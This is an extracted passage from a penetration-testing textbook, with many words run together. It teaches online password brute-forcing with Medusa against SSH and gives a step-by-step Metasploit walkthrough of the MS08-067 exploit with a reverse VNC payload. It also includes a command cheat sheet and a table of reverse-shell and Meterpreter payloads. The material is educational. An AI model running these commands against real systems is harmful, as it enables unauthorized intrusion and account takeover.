outputfromscanningshouldbeusedtohelpshape,focus,anddirectyourattacks.

Medusa:GainingAccesstoRemoteServicesWhenreviewingtheoutputfromstep2,alwaysmakespecialnotesofInternetprotocol(IP)addressesthatincludesometypeofremoteaccessservice.Secureshell(SSH),Telnet,filetransferprotocol(FTP),PCAnywhere, virtual network computing (VNC), and remote desktop protocol are popular choicesbecausegainingaccesstotheseservicesoftenresultsinthecompletecompromise(or“owning”)ofthattarget.Upondiscoveryofoneoftheseservices,hackerstypicallyturntoan“onlinepasswordcracker”.Forthepurposeofthisbook,wewilldefine“onlinepasswordcrackers”asanattacktechniquewhichinteractswitha“liveservice”likeSSHorTelnet.Onlinepasswordcrackersworkbyattemptingtobrute

Page 86: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

forcetheirwayintoasystembytryinganexhaustivelistofpasswordsand/orusernamecombinations.Incontrast,offlinepassword-crackingtechniquesdonotrequiretheservicetoberunning.Rather, thepassword hashes can be attacked in a standalone fashion.We will cover offline password crackingshortly.When using online password crackers, the potential for success can be greatly increased if you

combinethisattackwithinformationgatheredfromstep1.Specificallyyoushouldbesuretoincludeanyusernamesorpasswordsyoudiscovered.Theprocessofonlinepasswordcrackingliterallyrequiresthe attacking program to send a user name and a password to the target. If either the user name orpasswordisincorrect,theattackprogramwillbepresentedwithanerrormessageandtheloginwillfail.The password cracker will then send the next user name and password combination. This processcontinuesuntiltheprogramiseithersuccessfulinfindingalogin/passwordcombooritexhaustsalltheguesses.Onthewhole,eventhoughcomputersaregreatatrepetitivetaskslikethis,theprocessisratherslow.Youshouldbeawarethatsomeremoteaccesssystemsemployapasswordthrottlingtechniquethat

canlimitthenumberofunsuccessfulloginsyouareallowed.Intheseinstances,eitheryourIPaddresscanbeblockedortheusernamecanbelockedout.There are many different tools that can be used for online password cracking. Two of the most

populartoolsareMedusaandHydra.Thesetoolsareverysimilarinnature.Inthisbook,thefocuswillbeonMedusa,butitisstronglyencouragedthatyoubecomefamiliarwithHydraaswell.Medusa is described as a parallel login brute forcer that attempts to gain access to remote

authentication services.Medusa is capable of authenticatingwith a large number of remote servicesincluding Apple filing protocol, FTP, hypertext transfer protocol, Internet message access protocol,MicrosoftSQL,MySQL,NetWarecoreprotocol,networknewstransfer,PCAnywhere,POP3,REXEC,RLOGIN,simplemailtransferprotocolauthentication,simplenetworkmanagementprotocol,SSHv2,Telnet,VNC,webforms,andmore.InordertouseMedusa,youneedseveralpiecesofinformationincludingthetargetIPaddress,auser

name or user name list that you are attempting to login as, a password or dictionary file containingmultiple passwords to use when logging in, and the name of the service you are attempting toauthenticatewith.Oneoftherequirementslistedaboveisadictionarylist.Apassworddictionaryisafilethatcontains

a list of potential passwords. These lists are often referred to as dictionaries because they containthousandsor evenmillionsof individualwords.PeopleoftenuseplainEnglishwordsor some smallvariationlikea1foraniora5foranswhentheycreatepasswords.Passwordlistsattempttocollectasmanyofthesewordsaspossible.Somehackersandpenetrationtestersspendyearsbuildingpassworddictionariesthatgrowtogigabytesinsizeandcontainmillionsorevenbillionsofpasswords.Agooddictionarycanbeextremelyusefulbutoften requiresa lotof timeandattention tokeepclean.Cleandictionariesarestreamlinedandfreeofduplication.Thereareplentyofsmallword lists thatcanbedownloadedfromtheInternetandserveasagood

startingpoint forbuildingyourownpersonalpassworddictionary.Therearealso toolsavailable thatwillbuilddictionarieslistsforyou.However,fortunately,thefinefolksatKalihavealreadyincludedafewword lists for us to use.You can find these dictionaries in the/usr/share/wordlistsdirectorywhichcontainsoneof themostnotoriouspassword listscalled“RockYou” (taken fromanextremelylargedatabreach).There is also a small but veryuseful list includedwith the John theRipper (JtR)locatedat/usr/share/john/password.lst.

Page 87: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

ALERT!Whenitcomestopasswordslists,biggerisnotalwaysbetter.“Offline”password-crackingtools like JtR can process millions of passwords per second. In these cases, largerpasswordslistsaregreat.However,otherpassword-crackingtechniqueslikeMedusaandHydra may only be able to process one or two passwords per second. In these cases,havingasinglelistwithbillionsofpasswordsisimpracticalbecauseyousimplywillnothavethetimetogetthroughtheentirelist.Insituationslikethis,youarebetteroffhavingasmallerdictionary,whichcontainsthemostpopularpasswords.

Onceyouhaveyourpassworddictionary,youneedtodecideifyouaregoingtoattempttologinasasingle user or if you want to supply a list of potential users. If your reconnaissance efforts wererewarded with a list of user names, youmay want to start with those. If you were unsuccessful ingatheringusernamesandpasswords,youmaywanttofocusontheresultsofthee-mailaddressesyoucollectedwiththeHarvester.Remember,thefirstpartofane-mailaddresscanoftenbeusedtogenerateaworkingdomainusername.For example, assume that during your penetration test you were unable to find any domain user

names.However,theHarvesterwasabletodigupthee-mailaddressben.owned@example.com.WhenusingMedusa,oneoptionistocreatealistofpotentialusernamesbasedonthee-mailaddress.Thesewould includeben.owned,benowned,bowned,ownedb,andseveralothercombinationsderived fromthee-mailaddress.Aftercreatingalistof5–10usernames,itispossibletofeedthislistintoMedusaandattempttobruteforceyourwayintotheremoteauthenticationservice.NowthatwehaveatargetIPaddresswithsomeremoteauthenticationservice(wewillassumeSSH

for thisexample),apassworddictionary,andat leastoneusername,weareready torunMedusa. Inordertoexecutetheattack,youopenaterminalandissuethefollowingcommand: medusa –h target_ip –u username –P path_to_password_dictionary –M

authentication_service_to_attack

Takeamomenttoexaminethiscommandinmoredetail;youwillneedtocustomizetheinformationforyourtarget:Thefirstkeyword“medusa”isusedtostartthebruteforcingprogram.The“–h”isusedtospecifythe

IPaddressof the targethost.The“–u” isused todenote a singleusername thatMedusawill use toattemptlogins.Ifyougeneratedalistofusernamesandwouldliketoattempttologinwitheachofthenamesonthelist,youcanissueacapital“–U”followedbythepathtotheusernamefile.Likewise,thelowercase“–p”isusedtospecifyasinglepassword,whereasacapital“–P”isusedtospecifyanentirelistcontainingmultiplepasswords.The“–P”needstobefollowedbytheactuallocationorpathtothedictionaryfile.The“–M”switchisusedtospecifywhichservicewewanttoattack.Toclarifythisattack,letuscontinuewiththeexamplewesetupearlier.Supposewehavebeenhired

to conduct apenetration test against the company“Example.com”.Duringour informationgatheringwithMetaGooFil,weuncovertheusernameof“ownedb”andanIPaddressof192.168.18.132.Afterportscanningthetarget,wediscoverthattheserverisrunningSSHonport22.Movingtostep3,oneofthe first things to do is to attempt to brute force ourway into the server.After firing up our attackmachineandopeningaterminal,weissuethefollowingcommand:medusa–h192.168.18.132–uownedb–P/usr/share/john/password.lst–Mssh

Page 88: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Figure4.1showsthecommandanditsassociatedoutput.

ALERT!IfyouarehavingproblemsgettingMedusa(oranyofthetoolscoveredinthisbook)torunon your version of Kali, it may be helpful to reinstall the program as we discussed inChapter1.YoucanreinstallMedusawiththefollowingcommands:apt-getremovemedusaapt-getupdateapt-getinstallmedusa

FIGURE4.1 UsingmedusatobruteforceintoSSH.

The first line shows the command we issued; the second line is an informational banner that isdisplayedwhentheprogrambegins.Theremaininglinesshowaseriesofautomatedloginattemptswiththe user name “ownedb” and various passwords beginningwith “123456”. Notice in the 11th loginattempt,Medusaissuccessfulinaccessingthesystemwithausernameof“ownedb”andapasswordof“Th3B@sics”.AtthispointwewouldbeabletoremotelyloginastheuserbyopeningaterminalandconnectingtothetargetthroughSSH.Pleasenote,forthisexample,Ihavemadeafewchangestothedefault“/usr/share/john/password.lst”includingremovingthebeginningcomments(thelinesthatbeginwitha#sign)andadding“Th3B@sics”tothelist.Dependingonthelevelofengagementandgoalsidentifiedinyourauthorizationandagreementform,

youmaybedonewiththepenetrationtestatthispoint.Congratulations!Youjustcompletedyourfirstpenetrationtestandsuccessfullygainedaccesstoaremotesystem.Althoughitisnotalwaysquitethateasy,youwillbesurprisedathowmanytimesasimpletacticlike

thisworksandallowsyoutofullyaccessandcontrolofaremotesystem.

Metasploit:Hacking,HughJackmanStyle!

Page 89: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Ofallthetoolsdiscussedinthisbook,Metasploitismyfavorite.Inmanyways,itisthequintessentialhackertool.Itispowerful,flexible,free,andloadedwithawesomeness.ItiswithoutadoubtthecoolestoffensivetoolcoveredinthisbookandinsomecasesitevenallowsyoutohacklikeHughJackmaninSwordfish! Seriously, it is that good. If you ever get a chance to meet HD Moore or any of theMetasploitcrew,buythemabeer,shaketheirhand,andsaythanks,becauseMetasploitisallthatandmore.In 2004, at Defcon 12, HD Moore and Spoonm rocked the world when they gave a talk titled

“Metasploit: Hacking Like in theMovies”. This presentation focused on “exploit frameworks”. Anexploit framework isa formalstructure fordevelopingand launchingexploits.Frameworksassist thedevelopmentprocessbyprovidingorganizationandguidelinesforhowthevariouspiecesareassembledandinteractwitheachother.Metasploit actually started out as a network game, but its full potentialwas realizedwhen itwas

transformed intoa full-fledgedexploit tool.Metasploitactuallycontainsasuiteof tools that includesdozensofdifferent functions forvariouspurposesbut it isprobablybestknown for itspowerful andflexibleexploitationframework.Before the release of Metasploit, security researchers had two main choices: they could develop

customcodebypiecingtogethervariousexploitsandpayloadsortheycouldinvest inoneofthetwocommerciallyavailableexploit frameworks,COREImpactor ImmunitySec’sCANVAS.Both ImpactandCANVASweregreat choicesandhighly successful in theirown right.Unfortunately, thecost tolicenseandusetheseproductsmeantmanysecurityresearchersdidnothaveaccesstothem.Metasploit was different from everything else because for the first time, hackers and penetration

testershadaccesstoatrulyopensourceexploitframework.Thismeantthatforthefirsttime,everyonecould access, collaborate, develop, and share exploits for free. It also meant that exploits could bedeveloped in an almost factory-like assembly line approach. The assembly line approach allowedhackersandpenetrationtesterstobuildexploitsbasedontheirownneeds.Metasploitallowsyoutoselectthetargetandchoosefromawidevarietyofpayloads.Thepayloads

are interchangeable and not tied to a specific exploit. A payload is the “additional functionality” orchangeinbehaviorthatyouwanttoaccomplishonthetargetmachine.Itistheanswertothequestion:“WhatdoIwant todonowthat Ihavecontrolof themachine?”Metasploit’smostpopularpayloadsincludeaddingnewusers,openingbackdoors,andinstallingnewsoftwareontoatargetmachine.ThefulllistofMetasploitpayloadswillbecoveredshortly.Before we begin covering the details of how to useMetasploit, it is important to understand the

distinction between Metasploit and a vulnerability scanner. In most instances, when we use avulnerabilityscanner,thescannerwillonlychecktoseeifasystemisvulnerable.Thisoccursinaverypassivewaywithlittlechanceofanyunintentionaldamageordisruptiontothetarget.Metasploitandother frameworks are exploitation tools. These tools do not perform tests; these tools are used tocomplete the actual exploitation of the target. Vulnerability scanners look for and report potentialweaknesses.Metasploitattemptstoactuallyexploitthesystemsitscans.Makesureyouunderstandthis.In 2009, Rapid 7 purchasedMetasploit. HDMoore spent a considerable amount of time putting

people at ease and reassuring everyone that Metasploit would remain free. Although several greatcommercial products have sincebeen released includingMetasploitExpress andMetasploitPro,HDhas been true to his word and the originalMetasploit project remains free. In fact, the purchase ofMetasploit by Rapid 7 has been a huge boost to theMetasploit project. The open source project isclearlybenefitting from the commercial toolpushwith additional full-timedevelopers and staff.Therateatwhichnewexploitsandfunctionalityisbeingaddedisstaggering.Wewillfocusonthebasics

Page 90: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

here,butyouwillwanttostayontopoflatestdevelopmentsgoingforward.Metasploit can be downloaded for free from http://www.metasploit.com. If you are using Kali,

Metasploitisalreadyinstalledforyou.ThereareseveraldifferentwaystointeractwithMetasploit,butthisbookwill focusonusing themenu-driven,non-graphicaluser interface (GUI), text-basedsystemcalled themsfconsole.Onceyouunderstand thebasics, themsfconsole is fast, friendly, intuitive,andeasytouse.Theeasiestwaytoaccessthemsfconsoleisbyopeningaterminalwindowandentering:msfconsoleThemsfconsole can also be accessed through the applications menu on the desktop. Starting the

msfconsole takes between 10 s and 30 s, so do not panic if nothing happens for a few moments.Eventually,Metasploitwill start bypresentingyouwith awelcomebanner and an “msf>” commandprompt.ThereareseveraldifferentMetasploitbannersthatarerotatedanddisplayedatrandom,soitisnormal if your screen looks different fromFigure4.2. The important thing is that you get themsf>console.TheinitialMetasploitscreenisshowninFigure4.2.

FIGURE4.2 Initialmetasploitscreen.

Pleasenotice,whenMetasploitfirstloads,itshowsyouthenumberofexploits,payloads,encoders,andnopsavailable.Itcanalsoshowyouhowmanydayshavepassedsinceyourlastupdate.BecauseofMetasploit’srapidgrowth,activecommunity,andofficialfunding, it isvital thatyoukeepMetasploitup-to-date.Thisiseasilyaccomplishedbyenteringthefollowingcommandintoaterminal:msfupdateGet into the habit of running this command often. Now that Metasploit is updated, let us begin

exploring the awesomeness of this tool. In order to useMetasploit, a targetmust be identified, andexploitmustbeselected,apayloadneedstobepicked,andtheexploititselfmustbelaunched.Wewillreviewthedetailsforeachofthesestepsinjustafewmoments,butbeforethat,letusreviewthebasics

Page 91: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

ofMetasploitterminology.Asmentionedearlier,anexploitisaprepackagedsnippetofcodethatgetssenttoaremotesystem.Thiscodecausessomeatypicalbehavioronthetargetsystemthatallowsustoexecuteapayload.Recallthatapayloadisalsoasmallblockofcodethatisusedtoperformsometasklikeinstallingnewsoftware,creatingnewusers,oropeningbackdoorsonthetargetsystem.Vulnerabilitiesaretheweaknessesthatallowtheattackertoexploitthesystemsandexecuteremote

code(payloads)onthetarget.Payloadsaretheadditionalsoftwareorfunctionalitythatwerunonthetargetsystemoncetheexploithasbeensuccessfullyexecuted.Now that we have an understanding of how to access and start the Msfconsole and a solid

understandingoftheterminologyused,letusexaminehowwecanuseMetasploit.WhenfirsthearingaboutandusingMetasploit,acommonmistakeofwould-behackersandpenetrationtestersisthelackoforganizationand thoughtfulness.Remember,Metasploit is likeascalpel,notahatchet.Ormaybemore appropriately, Metasploit is like a Barrett M107 sniper rifle, not anM60 machine gun. Mostnewcomersareoverwhelmedbythesheernumberofexploitsandpayloads;andusuallygetlosttryingtofindappropriateexploits.Theyspendtheirtimeblindlythrowingeveryexploitagainstatargetandhopingthatsomethingsticks.Laterinthischapter,wewillexamineatoolthatworksinthismannerbutfornowweneedtobealittlemorerefined.Ratherthanblindlysprayingexploitsatatarget,weneedtofindawaytomatchupknownsystem

vulnerabilitieswiththeprepackagedexploitsinMetasploit.Onceyouhavelearnedthissimpleprocess,owning a vulnerable target becomes a cinch. In order to correlate a target’s vulnerabilities withMetasploit’sexploits,weneedtoreviewourfindingsfromstep2.WewillstartthisprocessbyfocusingontheNessusreportor“Nmap--scriptvuln”output.Recall thatNessus isavulnerabilityscannerand provides us with a list of known weaknesses or missing patches. When reviewing the Nessusoutput,youshouldmakenotesofanyfindingsbutpayspecialattentiontothevulnerabilitieslabeledas“high” or “critical”. Many “high” or “critical” Nessus vulnerabilities, especially missing Microsoftpatches,correlatedirectlywithMetasploitexploits.

ADDITIONALINFORMATIONNessus versions 4 and below utilize a “high”, “medium”, and “low” ranking system toclassify the severity of its findings. Beginning with Nessus 5, Tenable has introduced“critical” to theclassificationscheme.Dependingon theOSofyourattackmachineandhowyouinstalledNessus,youmayendupwithNessusversion4or5.Aswediscussedintheprevious chapter, inorder to install orupgrade toversion5, simplyvisit theNessuswebsiteanddownloadthe latestversionforyourOS.Nessusprovidesa .debfile,whichcanbeinstalledbyrunningthefollowingcommand:dpkg–ideb_file_to_installIfyouhaveapreviousversionofNessusinstalled,thiswillupdateyoursoftwaretothe

latestrevisionandretainallyourprevioussettings.GoingforwardwewillutilizeNessus5,however;forthepurposeofthisbook,eitherversionwillworkfine.

Assume that during your penetration test you uncovered a new target at the IP address192.168.18.131.RunningNmaptellsyouthatyournewtargetisaWindowsXPmachinewithservice

Page 92: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

pack3installedandthefirewalldisabled.Continuingwithstep2,yourunboththeNSE--scriptvulnscanandNessusagainstthetarget.Figure4.3showsthecompletedNessusreportfor192.168.18.131.Noticetherearetwo“critical”findings.IfyouarefollowingalongwiththisexampleusinganXPnoservicepackVM,Nessusprobablyidentifiedadozenormore“critical”vulnerabilities.ThisisoneofthemainreasonswhyIstresslearningbasicexploitationwitholder,unpatchedversionsofWindows!

FIGURE4.3 Nessusoutputshowingthehighfindings.

Inordertoexpediteourprocess,webeginbyfocusingonthe“critical”or“high”vulnerabilitiesfirst.Nessusprovidesuswiththeabilitytoclickoneachfindinganddrilldowntogetspecificdetailsaboutthe identified issue.Reviewing thefirst“critical” findingreveals thesourceof this issue isamissingpatch.Specifically,MicrosoftpatchMS08-067hasnotbeeninstalledonthetargetmachine.Thesecond“critical” vulnerability discovered by Nessus reveals another missing Microsoft patch. ThisvulnerabilityistheresultofmissingMicrosoftpatchMS09-001.Furtherdetailsabouteachfindingcanbeviewedbyclickingonspecificfinding.Atthispoint,weknowourtargethasatleasttwomissingpatches.Boththesepatchesarelabeledas

“critical” and the descriptions that Nessus provides for bothmissing patchesmention “remote codeexecution”.Asanattacker,yourheartbeatshouldberacingalittleatthispointbecausethechancesareverygoodthatMetasploitwillbeabletoexploitthetargetforus.NextweneedtoheadovertoMetasploitandlookforanyexploitspertainingtoMS08-067orMS09-

001.Oncewehavestartedthemsfconsole(andupdatedMetasploit),wecanusethe“search”commandtolocateanyexploitsrelatedtoourNessusorNmapfindings.Toaccomplishthis,weissuethe“search”command followed by themissing patch number. For example, using themsfconsole, at the “msf>”promptyouwouldtypesearchms08-067Noteyoucanalsosearchbydateifyouaretryingtofindamorerecentexploit,forexample,“search

2013”willproductallexploits in2013.Oncethecommandiscompleted,makedetailednotesonthefindingsandsearchforanyothermissingpatches.Metasploitwillsearch through its informationandreturnany relevant information it finds.Figure4.4 shows theoutputof searching forMS08-067andMS09-001withinMetasploit.

Page 93: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE4.4 FindingamatchbetweenNessusandmetasploitwiththesearchfunction.

LetusreviewtheoutputfromFigure4.4:WestartedMetasploitandissuedthe“search”commandfollowedbythespecificmissingpatchthatNessusdiscovered.

Aftersearching,Metasploitfoundamatchingexploitandprovideduswithseveralpiecesofinformationabouttheexploit.

First,itprovideduswithamatchingexploitnameandlocation;“exploit/windows/smb/ms08_067_netapi”.

Next,Metasploitprovideduswitha“rank”andbriefdescription.Itisimportanttopaycloseattentiontotheexploitrank.Thisinformationprovidesdetailsabouthow

dependable theexploit is (howoften theexploit is successful)aswell ashow likely theexploit is tocauseinstabilityorcrashesonthetargetsystem.Thehigheranexploitisranked,themorelikelyitistosucceedandthelesslikelyitistocausedisruptionsonthetargetsystem.Metasploitusessevenratingstorankeachexploit:

1.Manual2.Low3.Average4.Normal5.Good6.Great7.Excellent.

ALERT!TheMetasploit“search”featurecanalsobeusedtolocatenon-Microsoftexploits.Nessusand other scanning products like the Nmap --script vuln scan often include a commonvulnerabilitiesandexposures(CVE)orBugtraqIDDatabase(BID)numbertorefercriticalvulnerabilities. If you are unable to locate a missing MS patch or are conducting apenetrationtestagainstanon-Microsoftproduct,besuretosearchformatchingexploitsbyCVEorBIDnumbers!Lookfortheseinthedetailsofyourvulnerabilityscanreport.

You can find more information and a formal definition of the ranking methodology on the

Page 94: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Metasploit.comwebsite.Finally,theMetasploitsearchfeaturepresentsuswithabriefdescriptionoftheexploitprovidinguswithadditionaldetailsabouttheattack.Whenallotherthingsareheldequal,youshouldchooseexploitswithahigherrank,astheyarelesslikelytodisrupt thenormalfunctioningofyourtarget.NowthatyouunderstandhowtomatchupvulnerabilitiesinNessuswithexploitsinMetasploitand

youhavetheabilitytochoosebetweentwoormoreMetasploitexploits,wearereadytounleashthefullpowerofMetasploitonourtarget.Continuingwithourexample,wewillusetheMS08-067becauseithasahigherranking.Inorderto

runMetasploit,weneed toprovide theframeworkwithaseriesofcommands.BecauseMetasploit isalreadyrunningandwehavealreadyfoundourexploit,wecontinuebyissuingthe“use”commandinthe“msf>”terminaltoselectthedesiredexploit.useexploit/windows/smb/ms08_067_netapiThiscommand tellsMetasploit touse theexploit thatyourvulnerability scanner identified.At this

pointyour“msf>”promptwillchangetomatchthepromptofyourchosenexploit.Oncewehavetheexploit loaded, we need to view the available payloads. This is accomplished by entering “showpayloads”inthe“msf>”terminal.showpayloadsThiscommandwilllistalltheavailableandcompatiblepayloadsfortheexploityouhavechosen.To

select one of the payloads, we type “set payload” followed by the payload name into the “msf>”terminal.setpayloadwindows/vncinject/reverse_tcpTherearemanypayloadstochoosefrom.Wewilldiscussthemostcommonpayloadsmomentarily;

however,afullexaminationofthedifferentpayloadsisoutsidethescopeofthisbook.PleasereviewtheMetasploitdocumentationfordetailsoneachoftheavailablepayloads.Forthisexample,wewillinstallVNConthetargetmachineandthenhavethatmachineconnectbacktous.IfyouareunfamiliarwithVNC, it is remote control PC software that allows a user to connect to a remotemachine, view theremotemachine,andcontrolthemouseandkeyboardasifyouwerephysicallysittingatthatmachine.Itworksmuchthesameasaremotedesktoporaterminalserver.It is important to note that the VNC software is not currently installed on the target machine.

Remember that some exploits give us the ability to install software on our target machine. In thisexample,wearesendinganexploittoourtargetmachine.Ifsuccessfullyexecuted,theexploitwillcallthe “install vnc” payload and remotely install the software on the victimmachine without any userinteraction.Differentpayloadswill requiredifferentadditionaloptions tobe set. Ifyou fail to set the required

optionsforagivenpayload,yourexploitwillfail.Therearefewthingsworsethangettingthisfarandfailingtosetanoption.Besuretowatchthisstepclosely.Toviewtheavailableoptions,issuethe“showoptions”inthe“msf>”terminal:showoptionsAfterissuingtheshowoptionscommand,wearepresentedwithaseriesofchoicesthatarespecific

tothepayloadwehavechosen.Whenusingthe“windows/vncinject/reverse_tcp”payload,weseethattherearetwooptionsthatneedtobesetbecausetheyaremissinganydefaultinformation.Thefirstis“RHOST” and the second is “LHOST”. RHOST is the IP address of the target (remote) host andLHOST (localhost) is the IP addressyouare attacking from.To set theseoptions,we issue the “setoption_name”commandinthemsf>terminal:setRHOST192.168.18.131

Page 95: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

setLHOST192.168.18.130Nowthatyouhaverequiredoptionsset, it isusuallyagoodideaat thispoint toreissue the“show

options”commandtoensureyouarenotmissinganyinformation.showoptionsOnceyouaresurethatyouhaveenteredalltheinformationcorrectly,youarereadytolaunchyour

exploit.Tosendyourexploittothetargetmachine,simplytypethekeyword“exploit”intothe“msf>”terminalandhittheEnterkeytobegintheprocess.exploitFigure 4.5 shows the minimum command set (minus the “show payloads” and “show options”

command)requiredtolaunchtheexploit.

FIGURE4.5 Thecommandsrequiredtolaunchanexploitfrommetasploit.

After sending the “exploit” command, you can sit back andwatch as themagic happens.To trulyappreciatethebeautyandcomplexityofwhatisgoingonhere,youneedtobuildyourunderstandingofbuffer overflows and exploitation. This is something that is highly encouraged when you finish thebasicscoveredinthisbook.Metasploitgivesyoutheabilitytostandontheshouldersofgiantsandthepowertolaunchincrediblycomplexattackswithjustafewcommands.Youshouldrevelinthemomentandenjoythevictoryofconqueringyourtarget,butyoushouldalsocommityourselftolearningevenmore.Commityourselftoreallyunderstandingexploitation.Aftertyping“exploit”,Metasploitwillgooffanddoitsthing,sendingexploitsandpayloadstothe

target.Thisiswherethe“hackinglikeHughJackman”partcomesin.Ifyousetupeverythingcorrectly,afterafewsecondsyouwillbepresentedwithascreenbelongingtoyourvictimmachine.BecauseourpayloadinthisexamplewasaVNCinstall,youwillhavetheabilitytoviewandinteractwiththetargetmachineasifyouwerephysicallysittinginfrontofit.Itishardnottobeimpressedandevenalittlebewilderedthefirsttimeyousee(orcomplete)thisexploitinrealtime.Figure4.6showsanexampleofthecompletedMetasploitattack.Notice,thecomputerthatlaunchedtheattackisKali,buttheattackermachinehasfullGUIaccesstotheWindowsdesktopofthevictim.

Page 96: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE4.6 ScreenshotshowingsuccessfulexploitofWindowstarget.

BelowyouwillfindacheatsheetofthestepsrequiredtorunMetasploitagainstatargetmachine.1.StartMetasploitbyopeningaterminalandissuethefollowingcommand:

a.msf>msfconsole2.Issuethe“search”commandtosearchforexploitsthatmatchyourvulnerabilityscanningreport:

a.msf>searchmissing_patch_number(orCVE)3.Issuethe“use”commandtoselectthedesiredexploit:

a.msf>useexploit_name_and_path_as_shown_in_2a4.Issue“showpayloads”commandtoshowavailablepayloads:

a.msf>showpayloads5.Issue“set”commandtoselectpayload:

a.msf>setpayloadpath_to_payload_as_shown_in_4a6.Issue“showoptions”toviewanyoptionsneedingtobefilledoutbeforeexploitingthetarget:

a.msf>showoptions7.Issuethe“set”commandforanyoptionslistedin6a:

a.msf>setoption_namedesired_option_input8.Issue“exploit”commandtolaunchexploitagainsttarget:

a.msf>“exploit”

ALERT!TheVNCpayload requires the targetOS to be running aGUI-basedOS likeMicrosoftWindows. If your target is not running a GUI, there are lots of other payloads, whichprovidedirectaccesstothetargetsystem!

NowthatyouhaveabasicunderstandingofhowtouseMetasploit, it is importanttoreviewafewmoreofthebasicpayloadsavailabletoyou.EventhoughtheVNCinjectisincrediblycoolandgreatfor

Page 97: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

impressingfriends,relatives,andcoworkers,itisrarelyusedinanactualpenetrationtest(PT).Inmostpenetrationtests,hackerspreferasimpleshellallowingremoteaccessandcontrolofthetargetmachine.Table4.1isalistofsomebasicpayloads.PleaserefertotheMetasploitdocumentationforacompletelist.Remember,oneofthepowersofMetasploitistheabilitytomixandmatchexploitsandpayloads.Thisprovidesapenetrationtesterwithanincredibleamountofflexibility,allowingthefunctionalityofMetasploittochangedependingonthedesiredoutcome.Itisimportantthatyoubecomefamiliarwiththevariouspayloadsavailabletoyou.

Table4.1SampleofPayloadsAvailableforTargetingWindowsMachines

MetasploitPayloadName PayloadDescriptionWindows/adduser CreateanewuserinthelocaladministratorgrouponthetargetmachineWindows/exec ExecuteaWindowsbinary(.exe)onthetargetmachineWindows/shell_bind_tcp OpenacommandshellonthetargetmachineandwaitforaconnectionWindows/shell_reverse_tcp Targetmachineconnectsbacktotheattackerandopensacommandshell(onthetarget)Windows/meterpreter/bind_tcp TargetmachineinstallsthemeterpreterandwaitsforaconnectionWindows/Meterpreter/reverse_tcp InstallsmeterpreteronthetargetmachinethencreatesaconnectionbacktotheattackerWindows/vncinject/bind_tcp InstallsVNConthetargetmachineandwaitsforaconnectionWindows/vncinject/reverse_tcp InstallsVNConthetargetmachineandsendsVNCconnectionbacktotarget

ManyofthesesamepayloadsexistforLinux,BSD,OSX,andotherOSs.Again,youcanfindthefull details by reviewing the Metasploit documentation closely. One source of confusion for manypeople is the difference between similar payloads like “windows/meterpreter/bind_tcp” and“windows/meterpreter/reverse_tcp”.Thekeywordthatcausestheconfusionhereis“reverse”.Thereisasimplebutanimportantdifferencebetweenthetwopayloadsandknowingwhentouseeachwilloftenmeanthedifferencebetweenanexploit’ssuccessandfailure.Thekeydifferenceintheseattacksisthedirectionoftheconnectionaftertheexploithasbeendelivered.Ina“bind”payload,wearebothsendingtheexploitandmakingaconnectiontothetargetfromthe

attacking machine. In this instance, the attacker sends the exploit to the target and the target waitspassivelyforaconnectiontocomein.Aftersendingtheexploit,theattacker’smachinethenconnectstothetarget.In a “reverse” payload, the attacking machine sends the exploit but forces the target machine to

connect back to the attacker. In this type of attack, rather than passively waiting for an incomingconnectiononaspecifiedportorservice, the targetmachineactivelymakesaconnectionback to theattacker.Figure4.7shouldmakethisconceptclearer.

Page 98: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE4.7 Differencebetweenbindandreversepayloads.

ThelastMetasploittopictodiscussistheMeterpreter.TheMeterpreterisapowerfulandflexibletoolthat you will need to learn to control if you are going to master the art of Metasploit. The Meta-Interpreter,orMeterpreter,isapayloadavailableinMetasploitthatgivesattackersapowerfulcommandshellthatcanbeusedtointeractwiththeirtarget.AnotherbigadvantageoftheMeterpreteristhefactthatitrunsentirelyinmemoryandneverutilizes

theharddrive.This tactic provides a layer of stealth that helps it evademany antivirus systems andconfoundssomeforensictools.TheMeterpreterfunctionsinamannersimilartoWindowscmd.exeortheLinux/bin/shcommand.

